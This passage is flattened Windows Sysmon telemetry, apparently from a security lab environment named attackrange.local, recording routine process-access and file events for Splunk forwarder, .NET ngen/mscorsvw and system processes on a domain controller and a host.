ws\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.852{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4BC7936C66A1F65C241F014C299B4B2F,SHA256=AEC6F1FB6A3CDC492AE51E4A5DA85E1B48B5EC80CBAE289816DC8EE2121DBBD3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.833{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BB711CC3D33796F0EAA9483A064D0B3,SHA256=D98CA55504F6E76EC183D8B061D91A4DC611423D83AD185BC4C407D0773E9AC0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000045404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.833{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DE171143306548A4DDCA0D365F5B9CF8,SHA256=250A10087FA5C0CAA5EE65B9DF4746EDBD0CF0889DA5741764BB393E0F2EA2D0,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.833{7BD73061-6F81-613B-630A-00000000F001}57965272C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.822{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-660A-00000000F001}2912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.802{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-660A-00000000F001}2912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.802{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-660A-00000000F001}2912C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014003Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:20.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=924E379FFB1750064855A72DBF2BEBB1,SHA256=47A6EE0CF6C70E35B0FDFD4576B624CBFEF5027823F6DF8106D95C6915068B22,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.592{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-650A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F81-613B-630A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-650A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-650A-00000000F001}6216C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-630A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.572{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F81-613B-630A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000045389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.433{7BD73061-6F81-613B-630A-00000000F001}5796C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000045388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.482{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-640A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.472{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-640A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.472{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-640A-00000000F001}6536C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.412{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-620A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.402{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-620A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.402{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F81-613B-620A-00000000F001}5324C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.366{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F81-613B-610A-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:21.342{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F81-613B-610A-00000000F001}6556C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 